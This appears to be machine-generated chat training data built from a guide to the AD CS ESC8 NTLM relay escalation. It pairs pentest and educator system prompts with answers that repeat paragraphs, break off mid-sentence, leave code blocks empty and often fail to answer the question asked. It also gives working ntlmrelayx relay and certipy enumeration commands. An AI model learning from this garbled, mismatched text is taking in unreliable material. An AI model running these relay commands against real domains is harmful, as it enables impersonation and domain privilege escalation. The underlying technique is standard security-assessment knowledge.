For certificate request purposes, the MS-ICPR (ICertPassage Remote Protocol) RPC interface is used. According to the Microsoft documentation, packet privacy is enabled if the IF_ENFORCEENCRYPTICERTREQUEST flag is set (default configuration), meaning that NTLM relay attacks are not possible.

These attacks, like all NTLM relay attacks, require a victim account to authenticate to an attacker-controlled machine. An attacker can coerce authentication by many means, see MITM and coerced authentication coercion techniques. Once the incoming authentication is received by the attacker, it can be relayed to an AD CS web endpoint.

Once the relayed session is obtained, the attacker poses as the relayed account and can request a client authentication certificate. The certificate template used needs to be configured for authentication (i.e. EKUs like Client Authentication, PKINIT Client Authentication, Smart Card Logon, Any Purpose

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does Unsigned endpoints - Theory work?

Response:
In their research papers, Will Schroeder and Lee Christensen found a domain escalation vector based on web endpoints vulnerable to NTLM relay attacks. The escalation vector was dubbed ESC8.

> AD CS supports several HTTP-based enrollment methods via additional server roles that administrators can optionally install \[(The certificate enrollment web interface, Certificate Enrollment Service (CES), Network Device Enrollment Service (NDES)).]
>
> \[...]
>
> These HTTP-based certificate enrollment interfaces are all vulnerable to NTLM relay attacks. Using NTLM relay, an attacker can impersonate an inbound-NTLM-authenticating victim user. While impersonating the victim user, an attacker could access these web interfaces and request a client authentication certificate based on the "User" or "Machine" certificate templates.
>
> (specterops.io)

Following this, Sylvain Heiniger from Compass Security has found a similar vulnerability on the AD CS RPC enrollment endpoint. As described in his article, each RPC interface checks the NTLM signature independently.

For certificate request purposes, the MS-ICPR (ICertPassage Remote Protocol) RPC interface is used. According to the Microsoft documentation, packet privacy is enabled if the IF_ENFORCEENCRYPTICERTREQUEST flag is set (default configuration), meaning that NTLM relay attacks are not possible.

These attacks, like all NTLM relay attacks, require a victim account to authenticate to an attacker-controlled machine. An attacker can coerce authentication by many means, see MITM and coerced authentication coercion techniques. Once the incoming authentication is received by the attacker, it can be relayed to an AD CS web endpoint.

Once the relayed session is obtained, the attacker poses as the relayed account and can request a client authentication certificate. The certificate template used needs to be configured for authentication (i.e. EKUs like Client Authentication, PKINIT Client Authentication, Smart Card Logon, Any Purpose


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform Unsigned endpoints - Theory?

[Assistant]
In their research papers, Will Schroeder and Lee Christensen found a domain escalation vector based on web endpoints vulnerable to NTLM relay attacks. The escalation vector was dubbed ESC8.

> AD CS supports several HTTP-based enrollment methods via additional server roles that administrators can optionally install \[(The certificate enrollment web interface, Certificate Enrollment Service (CES), Network Device Enrollment Service (NDES)).]
>
> \[...]
>
> These HTTP-based certificate enrollment interfaces are all vulnerable to NTLM relay attacks. Using NTLM relay, an attacker can impersonate an inbound-NTLM-authenticating victim user. While impersonating the victim user, an attacker could access these web interfaces and request a client authentication certificate based on the "User" or "Machine" certificate templates.
>
> (specterops.io)

Following this, Sylvain Heiniger from Compass Security has found a similar vulnerability on the AD CS RPC enrollment endpoint. As described in his article, each RPC interface checks the NTLM signature independently.

For certificate request purposes, the MS-ICPR (ICertPassage Remote Protocol) RPC interface is used. According to the Microsoft documentation, packet privacy is enabled if the IF_ENFORCEENCRYPTICERTREQUEST flag is set (default configuration), meaning that NTLM relay attacks are not possible.

These attacks, like all NTLM relay attacks, require a victim account to authenticate to an attacker-controlled machine. An attacker can coerce authentication by many means, see MITM and coerced authentication coercion techniques. Once the incoming authentication is received by the attacker, it can be relayed to an AD CS web endpoint.

Once the relayed session is obtained, the attacker poses as the relayed account and can request a client authentication certificate. The certificate template used needs to be configured for authentication (i.e. EKUs like Client Authentication, PKINIT Client Authentication, Smart Card Logon, Any Purpose

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform Unsigned endpoints - Theory?

Response:
In their research papers, Will Schroeder and Lee Christensen found a domain escalation vector based on web endpoints vulnerable to NTLM relay attacks. The escalation vector was dubbed ESC8.

> AD CS supports several HTTP-based enrollment methods via additional server roles that administrators can optionally install \[(The certificate enrollment web interface, Certificate Enrollment Service (CES), Network Device Enrollment Service (NDES)).]
>
> \[...]
>
> These HTTP-based certificate enrollment interfaces are all vulnerable to NTLM relay attacks. Using NTLM relay, an attacker can impersonate an inbound-NTLM-authenticating victim user. While impersonating the victim user, an attacker could access these web interfaces and request a client authentication certificate based on the "User" or "Machine" certificate templates.
>
> (specterops.io)

Following this, Sylvain Heiniger from Compass Security has found a similar vulnerability on the AD CS RPC enrollment endpoint. As described in his article, each RPC interface checks the NTLM signature independently.

For certificate request purposes, the MS-ICPR (ICertPassage Remote Protocol) RPC interface is used. According to the Microsoft documentation, packet privacy is enabled if the IF_ENFORCEENCRYPTICERTREQUEST flag is set (default configuration), meaning that NTLM relay attacks are not possible.

These attacks, like all NTLM relay attacks, require a victim account to authenticate to an attacker-controlled machine. An attacker can coerce authentication by many means, see MITM and coerced authentication coercion techniques. Once the incoming authentication is received by the attacker, it can be relayed to an AD CS web endpoint.

Once the relayed session is obtained, the attacker poses as the relayed account and can request a client authentication certificate. The certificate template used needs to be configured for authentication (i.e. EKUs like Client Authentication, PKINIT Client Authentication, Smart Card Logon, Any Purpose


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does Unsigned endpoints - Web endpoint (ESC8) work?

[Assistant]
::: tabs

=== UNIX-like

1. Relay servers setup :toolbox:

From UNIX-like systems, Impacket's ntlmrelayx (Python) can be used to conduct the ESC8 escalation scenario.

``bash
ntlmrelayx -t http://$PKI.domain.local/certsrv/certfnsh.asp --adcs --template "Template name"
`

> [!TIP]
> The certificate template flag (i.e. --template) can either be left blank (defaults to Machine or User whether relayed account name ends with $) or chosen among the certificate templates that fill the requirements.
>
> For instance, if the relayed principal is a domain controller, the DomainController template must be specified.

Certipy (Python) can be used to enumerate information regarding the certificate templates (EKUs allowing for authentication, allowing low-priv users to enroll, etc.) and identify enabled HTTP endpoint (how to enumerate).

``bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does Unsigned endpoints - Web endpoint (ESC8) work?

Response:
::: tabs

=== UNIX-like

1. Relay servers setup :toolbox:

From UNIX-like systems, Impacket's ntlmrelayx (Python) can be used to conduct the ESC8 escalation scenario.

``bash
ntlmrelayx -t http://$PKI.domain.local/certsrv/certfnsh.asp --adcs --template "Template name"
`

> [!TIP]
> The certificate template flag (i.e. --template) can either be left blank (defaults to Machine or User whether relayed account name ends with $) or chosen among the certificate templates that fill the requirements.
>
> For instance, if the relayed principal is a domain controller, the DomainController template must be specified.

Certipy (Python) can be used to enumerate information regarding the certificate templates (EKUs allowing for authentication, allowing low-priv users to enroll, etc.) and identify enabled HTTP endpoint (how to enumerate).

``bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute Unsigned endpoints - Web endpoint (ESC8)?

[Assistant]
::: tabs

=== UNIX-like

1. Relay servers setup :toolbox:

From UNIX-like systems, Impacket's ntlmrelayx (Python) can be used to conduct the ESC8 escalation scenario.

``bash
ntlmrelayx -t http://$PKI.domain.local/certsrv/certfnsh.asp --adcs --template "Template name"
`

> [!TIP]
> The certificate template flag (i.e. --template) can either be left blank (defaults to Machine or User whether relayed account name ends with $) or chosen among the certificate templates that fill the requirements.
>
> For instance, if the relayed principal is a domain controller, the DomainController template must be specified.

Certipy (Python) can be used to enumerate information regarding the certificate templates (EKUs allowing for authentication, allowing low-priv users to enroll, etc.) and identify enabled HTTP endpoint (how to enumerate).

``bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute Unsigned endpoints - Web endpoint (ESC8)?

Response:
::: tabs

=== UNIX-like

1. Relay servers setup :toolbox:

From UNIX-like systems, Impacket's ntlmrelayx (Python) can be used to conduct the ESC8 escalation scenario.

``bash
ntlmrelayx -t http://$PKI.domain.local/certsrv/certfnsh.asp --adcs --template "Template name"
`

> [!TIP]
> The certificate template flag (i.e. --template) can either be left blank (defaults to Machine or User whether relayed account name ends with $) or chosen among the certificate templates that fill the requirements.
>
> For instance, if the relayed principal is a domain controller, the DomainController template must be specified.

Certipy (Python) can be used to enumerate information regarding the certificate templates (EKUs allowing for authentication, allowing low-priv users to enroll, etc.) and identify enabled HTTP endpoint (how to enumerate).

``bash


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Show me the ntlmrelayx command for unsigned endpoints - web endpoint (esc8)

[Assistant] ntlmrelayx -t http://$PKI.domain.local/certsrv/certfnsh.asp --adcs --template "Template name"

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Show me the ntlmrelayx command for unsigned endpoints - web endpoint (esc8)

Response: ntlmrelayx -t http://$PKI.domain.local/certsrv/certfnsh.asp --adcs --template "Template name"


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through Unsigned endpoints - Web endpoint (ESC8)

[Assistant] ntlmrelayx -t http://$PKI.domain.local/certsrv/certfnsh.asp --adcs --template "Template name"

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through Unsigned endpoints - Web endpoint (ESC8)

Response: ntlmrelayx -t http://$PKI.domain.local/certsrv/certfnsh.asp --adcs --template "Template name"


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `ntlmrelayx -t http://$PKI.domain.local/certsrv/certfnsh.asp --adcs --template "Template name"`?

[Assistant] This command is used for unsigned endpoints - web endpoint (esc8). Web endpoint (ESC8)

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `ntlmrelayx -t http://$PKI.domain.local/certsrv/certfnsh.asp --adcs --template "Template name"`?

Response: This command is used for unsigned endpoints - web endpoint (esc8). Web endpoint (ESC8)


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does find ESC8-vulnerable CAs work?

[Assistant] certipy find -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -stdout | grep -B20 ESC8

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: certipy find -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -stdout | grep -B20 ESC8


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on find ESC8-vulnerable CAs

[Assistant] certipy find -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -stdout | grep -B20 ESC8

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on find ESC8-vulnerable CAs

Response: certipy find -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -stdout | grep -B20 ESC8